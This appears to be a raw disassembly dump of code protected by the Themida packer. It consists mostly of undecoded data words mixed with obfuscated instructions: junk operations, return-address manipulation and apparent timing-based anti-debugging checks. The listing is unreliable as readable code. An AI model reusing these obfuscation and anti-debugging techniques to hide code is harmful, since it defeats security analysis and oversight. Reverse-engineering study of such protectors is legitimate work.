dd 4244481h, 16h, 0C9C35646h, 0D780B99Bh, 0BD958BCCh, 8B06131Bh
dd 0DD8D8BF9h, 6A061318h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1C042444h, 43000000h, 3249C353h, 0C5EEA11Eh
dd 8007663Ch, 8B5061CFh, 3188BC2h, 8B188BC1h, 3E8D1C1h
dd 58188BC2h, 0FA8B66FCh, 8FCFDB81h, 0BD836B28h, 6131D1Dh
dd 0AA840F00h, 0F000000h, 0B8F9B7h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
dd 0D2DBC351h, 1860F4Ah, 0F8000000h, 4F8D8D8Dh, 9D8B0613h
dd 6130B8Dh, 85896053h, 61315D5h, 7E9h, 0C53EFD00h, 13710ECCh
dd 0E1FF5F61h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 17h, 57C35646h, 0E9701B40h, 14h, 9798287Fh, 0A7423EF0h
dd 3125C354h, 0EBEB1290h, 7ECBD242h, 10E8h, 0E7FE0900h
dd 2C3A90A9h, 0C39D0F57h, 298AC43Ch, 58A0F2Ch, 66000000h
dd 0F909E381h, 55BD835Bh, 61330h, 453840Fh, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
dd 0F6EABEC3h, 0D60FCAFDh, 518D89DDh, 83061330h, 133055BDh
dd 840F0106h, 438h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ah, 0BC35646h, 0C8DEC450h, 0BD8B158Fh, 6131BD5h
dd 3055BD83h, 0F030613h, 3CD86h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0E2C11ED2h
dd 8589B1C2h, 6131DADh, 2C59B589h, 0E8600613h, 12h, 0E7135270h
dd 0A6C600A4h, 8E0B9040h, 25C7CE24h, 0BD31F34Dh, 6132405h
dd 0D98C665Bh, 0D7EADF81h, 7E92F26h, 0A8000000h, 0B6730097h
dd 0E18083EDh, 80C38004h, 840FC90Ah, 10Fh, 1BD59D8Bh, 858B0613h
dd 6132BB9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 17h, 0BFC35646h, 0FE4D3BBh, 881h, 0BD295300h, 6132A4Dh
dd 0B533605Bh, 6130635h, 2B35B589h, 60610613h, 1DAD9D89h
dd 0B8510613h, 461596C9h, 8533615Ah, 61305B9h, 6050FA8Bh
dd 9E9h, 0D3CA4900h, 0E953F505h, 0D88B878Dh, 24048961h
dd 1A2D8589h, 6A0613h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ch, 57C35040h, 8328F0D1h, 5B689740h, 6E8F5h
dd 0D1150000h, 7671FB26h, 5199D8Bh, 685B0613h, 175BDB6h
dd 2161BF66h, 49243481h, 6A016ABEh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 0E7B1C350h
dd 2B619D8Bh, 95FF0613h, 6130A3Dh, 24098D89h, 85890613h
dd 616C454h, 2C118589h, 0F9E90613h, 8B000001h, 1311719Dh
dd 15BD0106h, 8B061305h, 16C44C85h, 0C75F5706h, 1800h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h
dd 0C3514100h, 2A931940h, 0C450B58Bh, 6A0616h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 0BD8BACC3h, 613054Dh, 2A55858Bh, 6A0613h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0F3F6F8C3h
dd 0D781A5A2h, 5EEF4013h, 6A0689h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 150424h, 51410000h, 8B1C04C3h, 132BB985h
dd 8D9D8B06h, 66061329h, 89C77BBBh, 6A0446h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 180424h, 52420000h, 256E1FC3h
dd 0E950EBFEh, 13h, 0ABDCF2C1h, 0CFA0D524h, 20640012h
dd 0E6505DB2h, 89ED7281h, 6A2434h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 160424h, 52420000h, 0AF97ADC3h, 0FE9h, 18845300h
dd 98736201h, 58EE4AF8h, 63A239D2h, 0C44CB5FFh, 29600616h
dd 131EAD95h, 4E86106h, 0FF000000h, 50001F03h, 448BDE8Ah
dd 8A0F0424h, 0
dd 8E0F008Bh, 12h, 0AE853h, 71CF0000h, 7C7D52E2h, 11598741h
dd 44895B5Bh, 29580424h, 1320E18Dh, 54858D06h, 0F0616C4h
dd 5650DAB7h, 0FE9h, 0C142B00h, 0E9736FAh, 0F348DB8Ah
dd 0E3F1FCCCh, 2404895Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 18h, 0E2C35646h, 62F7A73Bh, 0BB35BF66h, 68F0Fh
dd 0B5890000h, 6131741h, 95FFDDB3h, 6130A3Dh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 78C35040h, 0DFD10C81h
dd 51594367h, 5B7ACB80h, 55006A61h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1704h, 0C3554500h, 5AC35367h, 305585C7h
dd 30613h, 0D7810000h, 7839F168h, 0C454BD83h, 0F000616h
dd 2584h, 0FAB70F00h, 38E9h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 30500B11h
dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h
dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h
dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h
dd 0C3554500h, 0E66D5BAh, 0E64CE7EBh, 6A5BF553h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
dd 5BE7C355h, 66694106h, 0BD83D88Bh, 6133055h, 8E850F03h
dd 6A000004h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 0D38AC356h, 68B0FC5h, 81000000h
dd 0C87F48C7h, 54BD8351h, 616C4h, 457840Fh, 6A0000h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 0C5AB4BC3h, 96799797h, 0E852E7AFh, 7, 8D3A53F0h, 81484A5Ah
dd 0F75D58D3h, 805B5F74h, 0B5FFF5DFh, 616C454h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 63C35646h, 0D9D91DF4h
dd 0BB66455Dh, 0DE986EAh, 6000000h, 6FF40570h, 738149FDh
dd 4D5212E1h, 96995FFh, 6A0613h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 180424h, 52420000h, 7CECDFC3h, 0B70FAEA6h
dd 48B58BF9h, 6A0616C4h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 15042444h, 47000000h, 7D6DC357h, 0F098D89h
dd 6C70613h, 10001h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 8C35343h, 0B17AAE35h, 9D8B1188h, 61307E1h
dd 52506050h, 310F5250h, 310F585Ah, 585AF08Bh, 61605250h
dd 6160310Fh, 8961585Ah, 13E82434h, 21000000h, 82C4F4FCh
dd 0A7BBB34Ch, 19671577h, 97B09758h, 8952A4D8h, 132335B5h
dd 0FF5B5F06h, 16C454B5h, 2995FF06h, 66061332h, 0FF79F781h
dd 0C448B58Bh, 11E80616h, 7D000000h, 46B5AEF6h, 0E2E73112h
dd 9AECFDB8h, 8F26ED6Bh, 19199589h, 8B5F0613h, 13063185h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h
dd 0C3574700h, 86895F34h, 0C4h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 0AC35343h, 0D2AD27E8h, 7E00AC7Ch
dd 1BBD958Bh, 8B660613h, 4C283DFh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 0E1C35242h, 6660759Dh, 0CCEEA81h
dd 508961FCh, 11BD8B20h, 23061306h, 132F8DBDh, 0E3858D06h
dd 6A0616D8h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 17042444h, 42000000h, 73FFC352h, 86896B87h, 0B8h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 21C35646h, 90DCC4BFh
dd 60006A33h, 1E4D9501h, 61FC0613h, 0C454B5FFh, 6A0616h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 687BD5C3h, 0FABF0FDFh, 1E9595FFh, 6A0613h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 160424h, 52420000h, 0A59DD1C3h
dd 14E950h, 5E740000h, 69C1C76Ah, 0CB929381h, 99DD5ABEh
dd 0D7F63480h, 34894577h, 50006A24h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 0B5FFEC57h
dd 616C454h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 17h, 70C35747h, 0E9F956B0h, 0Fh, 467B3BE6h, 4077EC88h
dd 0A7FDD57Bh, 0FF0CA3D9h, 13214595h, 0DE906h, 0F8640000h
dd 44B92D76h, 15567407h, 66E37A70h, 0BD83FB8Bh, 6131495h
dd 2B840F00h, 0E9000000h, 0Ah, 0FCCD0D16h, 5ADA54E0h, 50963F31h
dd 118D0Fh, 0CE90000h, 74000000h, 0B9F94176h, 554254A8h
dd 964A08ADh, 0B5FFDE8Bh, 616C454h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 3FC35040h, 0EE8F3B4Ah, 35381C0Bh
dd 5AD95FFh, 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 190424h, 51410000h, 0C4D614C3h, 0FF6DE194h, 16C454B5h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h
dd 0C3524200h, 418531E6h, 0FF061315h, 13120995h, 0F98B6606h
dd 511BD83h, 0F020613h, 5584h, 18C0F00h, 0F9000000h, 0BD958960h
dd 61061304h, 0F55858Bh, 0C60613h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0F765DE6Bh
dd 41A50910h, 890F8C0Eh, 6, 2A9D8D89h, 8F0F0613h, 6, 22B9BD8Bh
dd 85C70613h, 6131E51h, 0
; ---------------------------------------------------------------------------
mov ebx, 190D6741h
jmp loc_5C2513
; ---------------------------------------------------------------------------
mov bl, 23h
mov eax, ecx
mov bh, 0ACh
lea eax, [ebp+6131EA9h]
pusha
clc
mov ax, 0C467h
popa
sub [ebp+6131EEDh], eax
nop
jmp loc_5C32CA
; ---------------------------------------------------------------------------
or byte ptr [edx+ebx*2+0C3AF073h], 20h
dec edx
loc_5C32CA: ; CODE XREF: Themida_:005C32BCj
push eax
mov di, 0DA1Eh
nop
or [ebp+6130145h], edi
push 0
jmp loc_5C32E7
; ---------------------------------------------------------------------------
db 0A2h, 17h, 8Dh
dd 0D85A4BF5h
; ---------------------------------------------------------------------------
push ecx
and ebp, ecx
loc_5C32E7: ; CODE XREF: Themida_:005C32D8j
push 0
add edi, 6BDFCD07h
mov bh, 0DEh
lea eax, [ebp+6177166h]
pusha
jns loc_5C3304
mov [ebp+613251Dh], ebx
loc_5C3304: ; CODE XREF: Themida_:005C32F8j
mov [ebp+613301Dh], ebx
popa
add eax, 5
push 0
push eax
call sub_5C3319
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C3319 proc near ; CODE XREF: Themida_:005C3311p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_5C3319 endp
; ---------------------------------------------------------------------------
or al, 50h
mov bx, 8294h
mov [esp], eax
mov di, bx
push 0
push 0
push edi
call sub_5C3342
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C3342 proc near ; CODE XREF: Themida_:005C333Ap
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_5C3342 endp
; ---------------------------------------------------------------------------
dw 0B9B7h
dd 0FBD76A8Eh, 7CEA7C90h, 9CBF006Ah, 0FF705066h, 1307F195h
dd 79BD8B06h, 8D061331h, 16A36A8Dh, 0D5B58906h, 0FF061316h
dd 819D89D1h, 83061331h, 13173DBDh, 850F0106h, 0A0h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 73C35141h, 6AD7B70Bh
dd 52006A02h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h
dd 0C3524200h, 0C401A237h, 1D8F0F90h, 60000000h, 0A846BA66h
dd 11E8h, 39A1A300h, 2A834A17h, 0EAF73F13h, 0FC2ECCE5h
dd 615F455Bh, 52505050h, 638074BFh, 0F310F62h, 8Eh, 5F585A00h
dd 9595FF90h, 6A06131Eh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 0CAE8C356h, 4EDFE28Ch
dd 0E5CE9h, 0E800h, 815D0000h, 177170EDh, 0FD98B06h, 858DFBBFh
dd 6168F5Eh, 6E99589h, 0B70F0613h, 0DE8B50FBh, 6A240489h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 5B6AC351h, 0B307CFBBh, 11E956h, 55B0000h
dd 52DCEB8Dh, 6D5BE4A7h, 61A1BB25h, 643779A6h, 35FFh, 0BF0F0000h
dd 258964DFh, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5C34AF
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C34AF proc near ; CODE XREF: Themida_:005C34A7p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_5C34AF endp
; ---------------------------------------------------------------------------
inc edi
les esi, [edi]
and ebx, [eax+edx*4]
adc ebx, 27138A71h
push eax
pusha
jp $+6
movsx edi, bx
popa
pop ebx
inc dword ptr [ebp+61316D9h]
push 0
push edx
call sub_5C34E9
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C34E9 proc near ; CODE XREF: Themida_:005C34E1p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_5C34E9 endp
; ---------------------------------------------------------------------------
db 29h, 0F7h, 24h
dd 7B6EDDE1h, 8B5301CBh, 132A25BDh, 6AFF6A06h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
dd 0E3C6C351h, 0B368F380h, 5DB5FF16h, 0F061300h, 186h
dd 95FFF800h, 61331ADh, 0FFE9h, 0E19D8B00h, 0B006130Bh
dd 0E669B300h, 0A9B50970h, 0E4061301h, 0CDBD0171h, 3C061301h
dd 0DD830F61h, 0E8000000h, 0Dh, 0CAB6B60Ah, 0B7D8200Ah
dd 0EBF4A124h, 0BE960C5h, 14000000h, 364F82D9h, 75317092h
dd 5F61CD16h, 3C8B60Fh, 1300A19Dh, 6BA06h, 0BF660000h
dd 0C18B4F77h, 9559D8Bh, 0E8C10613h, 0E2F76604h, 23C1BD8Bh
dd 0C82B0613h, 0C149DB81h, 22B7130Fh, 9D8BD18Bh, 61308CDh
dd 68F0Fh, 9D090000h, 6131DB9h, 6E9h, 0F8CF8100h, 8B07055Fh
dd 1329B185h, 0BF0F6006h, 0EA8166D8h, 8361CA74h, 830F07C0h
dd 0
; ---------------------------------------------------------------------------
mov edi, ebx
add eax, 0
jp $+6
cmp edx, eax
jnb loc_5C361B
movzx ebx, si
jmp loc_5C3644
; ---------------------------------------------------------------------------
jz loc_5C361B
mov edi, [ebp+6131E55h]
loc_5C361B: ; CODE XREF: Themida_:005C3601j
; Themida_:005C360Fj
mov ecx, [ebp+6131111h]
cmc
and ecx, 1
jz loc_5C3644
cmc
and dword ptr [ebp+6131111h], 0FFFFFFFEh
or edi, [ebp+6132349h]
mov [ebp+61329B1h], edx
jmp $+5
loc_5C3644: ; CODE XREF: Themida_:005C360Aj
; Themida_:005C3625j
lea esi, [ebp+6170037h]
jmp loc_5C3662
; ---------------------------------------------------------------------------
db 0F7h
dd 34BDABE3h, 0E7046A9Dh, 384FC49Fh, 722BE86Eh
db 5Fh, 80h
; ---------------------------------------------------------------------------
loc_5C3662: ; CODE XREF: Themida_:005C364Aj
push 0
jno loc_5C366C
mov bl, ch
loc_5C366C: ; CODE XREF: Themida_:005C3664j
call dword ptr [ebp+6130DA9h]
push 0
push esi
call sub_5C367D
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C367D proc near ; CODE XREF: Themida_:005C3675p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_5C367D endp
; ---------------------------------------------------------------------------
db 0AFh, 0E0h, 0C1h
dd 9185294Ch, 0B9061329h, 81Bh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Bh, 0C4C35545h, 823B5FD3h, 839BDEE9h
dd 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
dd 50400000h, 0B45155C3h, 22B52220h, 8961F960h, 133109BDh
dd 6AFC06h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
dd 52420000h, 8FEA41C3h, 0FCCF2A27h, 0B8EAh, 0B5890000h
dd 6132CD1h, 0BAh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1704h, 0C3574700h, 0F73941B6h, 8880Fh, 8B560000h
dd 132C09BDh, 33AD5F06h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 0BE0325C3h, 0C1D975C2h, 0AE90Bh, 0DB060000h, 710FFBC4h
dd 7CA11C22h, 0DAD9D89h, 81660613h, 0D5DCCE7h, 88h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0A9C35141h, 52F60973h
dd 8BDFBF0Fh, 131BBD95h, 0DE906h, 0B51D0000h, 11DF2BF3h
dd 0D052C7F5h, 8BB86D94h, 1318DD8Dh, 0C28B5006h, 0C103188Bh
dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 14042444h, 40000000h, 0E80BC350h
dd 0Ah, 0C546EE50h, 5151E804h, 84BFDDF8h, 5B412662h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 84C35343h, 0C199D8Bh
dd 0BD830613h, 6131D1Dh, 3B840F00h, 66000000h, 15FAEF81h
dd 0B8D6B3h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 0F54CC357h, 74583094h
dd 8D8D8D21h, 0BB06134Fh, 784FCCB4h, 0BD83E1FFh, 6133055h
dd 4840F00h, 0FC000005h, 3055BD83h, 0F010613h, 51184h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h
dd 0C3514100h, 0D55FEDDAh, 81665D69h, 8393C5C3h, 133055BDh
dd 860F0306h, 4A8h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 14h, 79C35242h, 0A699529h, 89600613h, 1331018Dh
dd 0D98C6606h, 1EB5BD09h, 0E1800613h, 55006A04h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 0B92CC42Eh, 0A8FB0F25h, 0CF816636h, 0EE9719Eh, 16000000h
dd 80B471A9h, 6BF0AAF9h, 0FCDCBD43h, 0FC90A61h, 15284h
dd 6DBD8B00h, 8B06131Fh, 132BB985h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1A04h, 0C3504000h, 55CE827Eh
dd 0B7FEC781h, 0C59D3377h, 66061320h, 8533D98Bh, 61305B9h
dd 1CF5BD89h, 0E9500613h, 13h, 0B217D114h, 0D092D63Ah
dd 600A0A54h, 0FAA4D1C3h, 895A0F9Eh, 6A2404h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 4BA450C3h
dd 0D4A4FB0Bh, 0FEBF0FF8h, 960193BFh, 6A006A53h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 0EFD5C355h, 20D8A3C5h, 810FA366h, 6, 2FADB589h, 66600613h
dd 0AE9CB8Bh, 0D0000000h, 905D7291h, 0D2F0BBCEh, 18686141h
dd 533E2AA3h, 52505250h, 585A310Fh, 6160310Fh, 815F585Ah
dd 0A0E72434h, 85893E35h, 61331C5h, 0A3D95FFh, 6A0613h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 54A913C3h, 85894A9Dh, 616C454h, 0AE99D09h, 87E90613h
dd 6A000002h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 0C86EC351h, 60F8523Fh, 2A899D01h
dd 8B610613h, 16C44C85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1504h, 0C3524200h, 9529CD5Eh, 6132021h, 5800Fh
dd 81660000h, 0C77BF2D7h, 1800h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 4733C637h
dd 63FC1642h, 0B58BEEA8h, 616C450h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Dh, 81C35747h, 27F27AA9h, 0D494C997h
dd 0EE968h, 146C0000h, 0A2F06B9Fh, 8649A834h, 7C8344C5h
dd 2A55858Bh, 0CF810613h, 6323F460h, 0B70F0689h, 858BFCDFh
dd 6132BB9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Dh, 52C35545h, 70C56A64h, 0C97A964Ah, 816660F1h, 8BB088D1h
dd 131059B5h, 46896106h, 0F3816604h, 81660829h, 960966DFh
dd 5E8h, 9EF94C00h, 2EB739CCh, 0F88B505Fh, 6810F96h, 89000000h
dd 130DC98Dh, 4CB5FF06h, 6A0616C4h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 367AC353h
dd 7B59C117h, 4E8h, 1F03FF00h, 8E900h, 2EB20000h, 8496AC0Ah
dd 8B50953Dh, 0E8042444h, 0Fh, 6967E5E7h, 88AE33FFh, 0A0E556C4h
dd 0E8E8D37Fh, 0Eh, 66644E70h, 3A0F7EBFh, 8A597E81h, 13E816ACh
dd 0FA000000h, 5AF5F210h, 94885E62h, 0B3120845h, 5A9E9F21h
dd 5B5F9B3Dh, 8B008B5Bh, 244489DAh, 1707BB04h, 6A586F85h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h
dd 47000000h, 0BDB9C357h, 60FD288Ah, 89C3D181h, 0F86067ECh
dd 9E8h, 0CBBF1900h, 46496875h, 615FAFBEh, 54858D61h, 6A0616C4h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h
dd 42000000h, 2443C352h, 199D8BADh, 8B061316h, 1314B1BDh
dd 60575006h, 0C88AC88Bh, 4895F61h, 55006A24h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0F6EDB60h
dd 95FFDBB7h, 6130A3Dh, 14E8h, 0C0AE5B00h, 0EBC5E79Ah
dd 0DBABF1D4h, 7191A1CBh, 0F182738Ch, 9ABF6689h, 6A615FDCh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 9208C356h, 2EE2B5E2h, 0EE988BAh, 0F000000h
dd 17BF15DFh, 0AD17C280h, 2272F442h, 5585C79Fh, 3061330h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 1997C355h, 11D2CE8h, 610E3CADh
dd 0C454BD83h, 0F000616h, 0B84h, 21E900h, 0BD8B0000h, 61312BDh
dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h
dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h
dd 41000000h, 8161C351h, 0B06E07EBh, 51BD8953h, 31061330h
dd 1317698Dh, 55BD8306h, 3061330h, 439850Fh, 8D290000h
dd 6132B35h, 0C454BD83h, 0F000616h, 42684h, 0CF816600h
dd 0B5FF9424h, 616C454h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 18h, 0E3C35040h, 0DD35616Eh, 1D9B589h, 95FF0613h
dd 6130969h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 17h, 0D8C35141h, 0F535A43Ah, 0C448B58Bh, 6A0616h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 35604CC3h, 2A51D396h, 0C99D8B49h
dd 0C7061305h, 1000106h, 0A9BD8B00h, 96061321h, 820F5153h
dd 0
; ---------------------------------------------------------------------------
pop edi
pop edi
push eax
xchg eax, esi
mov bx, 107h
push dword ptr [ebp+616C454h]
push 0
push edi
call sub_5C3ED5
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C3ED5 proc near ; CODE XREF: Themida_:005C3ECDp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_5C3ED5 endp
; ---------------------------------------------------------------------------
sbb [edi+2995FFB6h], al
xor dl, [ebx]
push es
mov [ebp+61311E5h], eax
mov esi, [ebp+616C448h]
mov ebx, 0D4DD735h
mov eax, [ebp+6130631h]
jno loc_5C3F0C
cmc
loc_5C3F0C: ; CODE XREF: Themida_:005C3F05j
mov [esi+0C4h], eax
push 0
push edi
call sub_5C3F1D
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C3F1D proc near ; CODE XREF: Themida_:005C3F15p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_5C3F1D endp
; ---------------------------------------------------------------------------
db 0FBh, 35h, 3Fh
; ---------------------------------------------------------------------------
cmp ds:1BBD958Bh, edx
adc eax, [esi]
push 0
push eax
call sub_5C3F43
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C3F43 proc near ; CODE XREF: Themida_:005C3F3Bp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_5C3F43 endp
; ---------------------------------------------------------------------------
db 73h
dd 0FF45A5D5h, 5E9FFh, 0C0F0000h, 8397A667h, 6A04C2h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 0A85A3BC3h, 1D106B7Fh, 85CB819Dh, 895F6636h, 8B662050h
dd 0E3858DD9h, 310616D8h, 1309DDBDh, 0B8868906h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 0D552C355h, 71CAB74Eh, 14E997h, 554D0000h
dd 9E72580Eh, 0C2AECD37h, 456E7F85h, 254467CAh, 0E95662ECh
dd 0Bh, 738EEEAh, 904882A8h, 5F2581C3h, 6A006Ah, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
dd 4F6DF5C3h, 66BE944Bh, 2E8BCF81h, 0B5FFDA8Bh, 616C454h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 9DC35646h
dd 43E2C83Bh, 2FB799EAh, 75BD8B01h, 0FF061330h, 131E9595h
dd 0DF8B6606h, 50E8B396h, 0FE8h, 8BDA0700h, 0B7743699h
dd 43E44F20h, 1DBBF144h, 0B5FF965Bh, 616C454h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0BDC35040h, 3A4DA24Bh
dd 0BD0B11C7h, 613285Dh, 8E9h, 7A226F00h, 47620DBDh, 4595FF5Bh
dd 8A061321h, 95BD83DEh, 61314h, 55840Fh, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 5BCE70C3h, 500E335Fh, 4A28BF66h, 6A243489h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 742BC356h, 0B9BD89EAh, 5306130Ah, 25AD9529h, 0FF5B0613h
dd 16C454B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1504h, 0C3504000h, 95FFB730h, 61305ADh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0FCC35141h, 0A92AB12Ch
dd 995E555Dh, 0E3816683h, 0B5FF5DC4h, 616C454h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 13C35242h, 188A0F7Eh
dd 0E9000000h, 13h, 0ED479472h, 1345414Ah, 0D9F6EE80h
dd 989D42CCh, 0FF228DF2h, 13120995h, 0F78B6006h, 61D7B70Fh
dd 511BD83h, 0F020613h, 5284h, 8E800h, 0C3020000h, 363D97BBh
